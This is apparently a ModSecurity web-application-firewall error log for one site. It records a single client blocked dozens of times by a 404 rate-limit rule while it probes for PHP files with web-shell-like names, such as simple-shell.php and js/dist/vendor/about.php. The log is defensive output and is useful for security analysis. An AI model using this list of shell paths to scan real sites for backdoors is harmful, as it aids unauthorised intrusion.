[Mon Apr 13 03:20:47.485364 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:31646] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/retu11.PhP7"] [unique_id "advwj2yJMmaONUqF0tCxmQAAAQI"]
[Mon Apr 13 03:20:47.895845 2026] [:error] [pid 31605:tid 31657] [client 20.151.218.28:31654] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/retu11.PhP7"] [unique_id "advwj29Py-Y-9VQ02eHiFwAAAA4"]
[Mon Apr 13 03:20:48.306509 2026] [:error] [pid 54671:tid 54676] [client 20.151.218.28:31589] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jcsonquo.php"] [unique_id "advwkGyJMmaONUqF0tCxowAAAQE"]
[Mon Apr 13 03:20:48.718062 2026] [:error] [pid 32010:tid 32019] [client 20.151.218.28:31618] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jcsonquo.php"] [unique_id "advwkA0nq-t9pXyV1fzCuAAAAMc"]
[Mon Apr 13 03:20:49.127043 2026] [:error] [pid 32010:tid 32018] [client 20.151.218.28:31677] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jcsonquo.php"] [unique_id "advwkQ0nq-t9pXyV1fzCuwAAAMY"]
[Mon Apr 13 03:20:49.539059 2026] [:error] [pid 31606:tid 31724] [client 20.151.218.28:31715] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jcsonquo.php"] [unique_id "advwkT9vCsshNhLmCiCQdQAAAFI"]
[Mon Apr 13 03:20:49.951619 2026] [:error] [pid 32010:tid 32020] [client 20.151.218.28:31727] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/termps.php"] [unique_id "advwkQ0nq-t9pXyV1fzCwQAAAMg"]
[Mon Apr 13 03:20:50.362259 2026] [:error] [pid 31605:tid 31647] [client 20.151.218.28:31574] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/termps.php"] [unique_id "advwkm9Py-Y-9VQ02eHiGgAAAAQ"]
[Mon Apr 13 03:20:50.773123 2026] [:error] [pid 31605:tid 31645] [client 20.151.218.28:31717] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/termps.php"] [unique_id "advwkm9Py-Y-9VQ02eHiHAAAAAI"]
[Mon Apr 13 03:20:51.184088 2026] [:error] [pid 31605:tid 31646] [client 20.151.218.28:31663] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/termps.php"] [unique_id "advwk29Py-Y-9VQ02eHiHQAAAAM"]
[Mon Apr 13 03:20:51.613356 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:31625] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advwk2yJMmaONUqF0tCxpgAAARU"]
[Mon Apr 13 03:20:52.025151 2026] [:error] [pid 54671:tid 54681] [client 20.151.218.28:31593] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advwlGyJMmaONUqF0tCxqAAAAQY"]
[Mon Apr 13 03:20:52.434664 2026] [:error] [pid 54671:tid 54680] [client 20.151.218.28:31639] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advwlGyJMmaONUqF0tCxqwAAAQU"]
[Mon Apr 13 03:20:52.843888 2026] [:error] [pid 54671:tid 54676] [client 20.151.218.28:31741] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rc.php7"] [unique_id "advwlGyJMmaONUqF0tCxrwAAAQE"]
[Mon Apr 13 03:20:53.255643 2026] [:error] [pid 54671:tid 54698] [client 20.151.218.28:31572] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "advwlWyJMmaONUqF0tCxsgAAARc"]
[Mon Apr 13 03:20:53.665657 2026] [:error] [pid 31606:tid 31729] [client 20.151.218.28:31667] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "advwlT9vCsshNhLmCiCQewAAAFc"]
[Mon Apr 13 03:20:54.076482 2026] [:error] [pid 31605:tid 31657] [client 20.151.218.28:31631] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "advwlm9Py-Y-9VQ02eHiIAAAAA4"]
[Mon Apr 13 03:20:54.486749 2026] [:error] [pid 31607:tid 31754] [client 20.151.218.28:31569] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "advwlmjn_I-KYTWngjJQsAAAAJE"]
[Mon Apr 13 03:20:54.900523 2026] [:error] [pid 54671:tid 54696] [client 20.151.218.28:31743] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rin.php"] [unique_id "advwlmyJMmaONUqF0tCxtgAAARU"]
[Mon Apr 13 03:20:55.311937 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:31643] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rin.php"] [unique_id "advwl2yJMmaONUqF0tCxuQAAAQA"]
[Mon Apr 13 03:20:55.724003 2026] [:error] [pid 54671:tid 54689] [client 20.151.218.28:31498] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rin.php"] [unique_id "advwl2yJMmaONUqF0tCxvAAAAQ4"]
[Mon Apr 13 03:20:56.135143 2026] [:error] [pid 32010:tid 32026] [client 20.151.218.28:31629] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rin.php"] [unique_id "advwmA0nq-t9pXyV1fzCywAAAM4"]
[Mon Apr 13 03:20:56.546027 2026] [:error] [pid 31606:tid 31727] [client 20.151.218.28:31679] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packages.php"] [unique_id "advwmD9vCsshNhLmCiCQfQAAAFU"]
[Mon Apr 13 03:20:56.956486 2026] [:error] [pid 32010:tid 32031] [client 20.151.218.28:31734] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packages.php"] [unique_id "advwmA0nq-t9pXyV1fzCzwAAANM"]
[Mon Apr 13 03:20:57.369830 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:31557] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packages.php"] [unique_id "advwmWyJMmaONUqF0tCxwAAAAQM"]
[Mon Apr 13 03:20:57.779438 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:31665] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packages.php"] [unique_id "advwmWyJMmaONUqF0tCxwwAAARQ"]
[Mon Apr 13 03:20:58.189810 2026] [:error] [pid 32010:tid 32036] [client 20.151.218.28:31552] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi.php"] [unique_id "advwmg0nq-t9pXyV1fzC1wAAANg"]
[Mon Apr 13 03:20:58.599581 2026] [:error] [pid 32010:tid 32020] [client 20.151.218.28:31735] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi.php"] [unique_id "advwmg0nq-t9pXyV1fzC2gAAAMg"]
[Mon Apr 13 03:20:59.010897 2026] [:error] [pid 54671:tid 54677] [client 20.151.218.28:31671] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi.php"] [unique_id "advwm2yJMmaONUqF0tCxxwAAAQI"]
[Mon Apr 13 03:20:59.422057 2026] [:error] [pid 54671:tid 54678] [client 20.151.218.28:31581] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi.php"] [unique_id "advwm2yJMmaONUqF0tCxywAAAQM"]
[Mon Apr 13 03:20:59.832055 2026] [:error] [pid 32010:tid 32018] [client 20.151.218.28:31689] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vbv.php"] [unique_id "advwmw0nq-t9pXyV1fzC5AAAAMY"]
[Mon Apr 13 03:21:00.241960 2026] [:error] [pid 32010:tid 32021] [client 20.151.218.28:31577] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vbv.php"] [unique_id "advwnA0nq-t9pXyV1fzC5wAAAMk"]
[Mon Apr 13 03:21:00.652204 2026] [:error] [pid 54671:tid 54682] [client 20.151.218.28:31610] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vbv.php"] [unique_id "advwnGyJMmaONUqF0tCxzgAAAQc"]
[Mon Apr 13 03:21:01.062428 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:31706] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vbv.php"] [unique_id "advwnW9Py-Y-9VQ02eHiMAAAAAw"]
[Mon Apr 13 03:21:01.476389 2026] [:error] [pid 54671:tid 54675] [client 20.151.218.28:31635] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "advwnWyJMmaONUqF0tCx0QAAAQA"]
[Mon Apr 13 03:21:01.887242 2026] [:error] [pid 54671:tid 54690] [client 20.151.218.28:31696] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "advwnWyJMmaONUqF0tCx1gAAAQ8"]
[Mon Apr 13 03:21:02.299953 2026] [:error] [pid 31606:tid 31719] [client 20.151.218.28:31648] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "advwnj9vCsshNhLmCiCQggAAAE0"]
[Mon Apr 13 03:21:02.711364 2026] [:error] [pid 31606:tid 31712] [client 20.151.218.28:31501] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mk.php"] [unique_id "advwnj9vCsshNhLmCiCQgwAAAEY"]
[Mon Apr 13 03:21:03.124440 2026] [:error] [pid 31607:tid 31752] [client 20.151.218.28:31652] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moderation.php"] [unique_id "advwn2jn_I-KYTWngjJQtgAAAI8"]
[Mon Apr 13 03:21:03.534365 2026] [:error] [pid 31605:tid 31645] [client 20.151.218.28:31708] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moderation.php"] [unique_id "advwn29Py-Y-9VQ02eHiNAAAAAI"]
[Mon Apr 13 03:21:03.946118 2026] [:error] [pid 31607:tid 31743] [client 20.151.218.28:31712] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moderation.php"] [unique_id "advwn2jn_I-KYTWngjJQugAAAIY"]
[Mon Apr 13 03:21:04.381512 2026] [:error] [pid 31605:tid 31651] [client 20.151.218.28:31578] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/moderation.php"] [unique_id "advwoG9Py-Y-9VQ02eHiOAAAAAg"]
[Mon Apr 13 03:21:04.798546 2026] [:error] [pid 31607:tid 31754] [client 20.151.218.28:31489] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple-shell.php"] [unique_id "advwoGjn_I-KYTWngjJQvQAAAJE"]
[Mon Apr 13 03:21:05.209723 2026] [:error] [pid 31605:tid 31653] [client 20.151.218.28:31596] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple-shell.php"] [unique_id "advwoW9Py-Y-9VQ02eHiQQAAAAo"]
[Mon Apr 13 03:21:05.619275 2026] [:error] [pid 31607:tid 31747] [client 20.151.218.28:31647] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple-shell.php"] [unique_id "advwoWjn_I-KYTWngjJQwAAAAIo"]
[Mon Apr 13 03:21:06.029924 2026] [:error] [pid 31605:tid 31655] [client 20.151.218.28:31650] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple-shell.php"] [unique_id "advwom9Py-Y-9VQ02eHiRAAAAAw"]
[Mon Apr 13 03:21:06.441122 2026] [:error] [pid 31605:tid 31654] [client 20.151.218.28:31514] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/dist/vendor/about.php"] [unique_id "advwom9Py-Y-9VQ02eHiRwAAAAs"]
[Mon Apr 13 03:21:06.851652 2026] [:error] [pid 31607:tid 31750] [client 20.151.218.28:31529] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/dist/vendor/about.php"] [unique_id "advwomjn_I-KYTWngjJQwQAAAI0"]
[Mon Apr 13 03:21:07.263571 2026] [:error] [pid 31605:tid 31663] [client 20.151.218.28:31605] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/dist/vendor/about.php"] [unique_id "advwo29Py-Y-9VQ02eHiSwAAABQ"]
[Mon Apr 13 03:21:07.675852 2026] [:error] [pid 32010:tid 32021] [client 20.151.218.28:31674] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/js/dist/vendor/about.php"] [unique_id "advwow0nq-t9pXyV1fzC-gAAAMk"]
[Mon Apr 13 03:21:08.086467 2026] [:error] [pid 31605:tid 31653] [client 20.151.218.28:31587] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2Vu80QG.php"] [unique_id "advwpG9Py-Y-9VQ02eHiTgAAAAo"]
[Mon Apr 13 03:21:08.502353 2026] [:error] [pid 54671:tid 54695] [client 20.151.218.28:31615] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2Vu80QG.php"] [unique_id "advwpGyJMmaONUqF0tCx4wAAARQ"]
[Mon Apr 13 03:21:08.912834 2026] [:error] [pid 31607:tid 31737] [client 20.151.218.28:31560] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2Vu80QG.php"] [unique_id "advwpGjn_I-KYTWngjJQxgAAAIA"]
[Mon Apr 13 03:21:09.324614 2026] [:error] [pid 31605:tid 31646] [client 20.151.218.28:31597] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2Vu80QG.php"] [unique_id "advwpW9Py-Y-9VQ02eHiVAAAAAM"]
[Mon Apr 13 03:21:09.734637 2026] [:error] [pid 31607:tid 31756] [client 20.151.218.28:31701] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bsr.php"] [unique_id "advwpWjn_I-KYTWngjJQyAAAAJM"]
[Mon Apr 13 03:21:10.144406 2026] [:error] [pid 31607:tid 31754] [client 20.151.218.28:31592] [client 20.151.218.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bsr.php"] [unique_id "advwpmjn_I-KYTWngjJQywAAAJE"]
